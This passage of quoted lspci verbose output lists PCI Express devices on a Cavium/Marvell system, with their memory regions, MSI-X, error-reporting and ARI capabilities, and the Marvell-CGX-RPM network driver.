> Region 4: [virtual] Memory at 87e001f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=6 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0003]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 80
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0a.0 System peripheral: Cavium, Inc. Device a094
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e120000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 87e120f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 81
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0a.1 System peripheral: Cavium, Inc. Device a094
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e121000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 87e121f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 82
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0a.2 System peripheral: Cavium, Inc. Device a094
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e122000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 87e122f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 96
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0c.0 System peripheral: Cavium, Inc. Device a073
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e010000000 (32-bit, non-prefetchable) [size=1M]
> Region 2: [virtual] Memory at 87e1bf000000 (32-bit, non-prefetchable) [size=16M]
> Region 4: [virtual] Memory at 87e010100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0003]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 120
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0f.0 System peripheral: Cavium, Inc. Device a061
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e018000000 (32-bit, non-prefetchable) [size=64K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 128
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:10.0 Network controller: Cavium, Inc. Device a060
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0e0000000 (32-bit, non-prefetchable) [size=8M]
> Region 4: [virtual] Memory at 87e0e0800000 (32-bit, non-prefetchable) [size=8M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=18 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 129
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: Marvell-CGX-RPM
>
> 0000:01:10.1 Network controller: Cavium, Inc. Device a060
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0e1000000 (32-bit, non-prefetchable) [size=8M]
> Region 4: [virtual] Memory at 87e0e1800000 (32-bit, non-prefetchable) [size=8M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=18 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 160
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: Marvell-CGX-RPM
>
> 0000:01:14.0 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e140000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 161
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.1 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e141000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 162
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.2 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
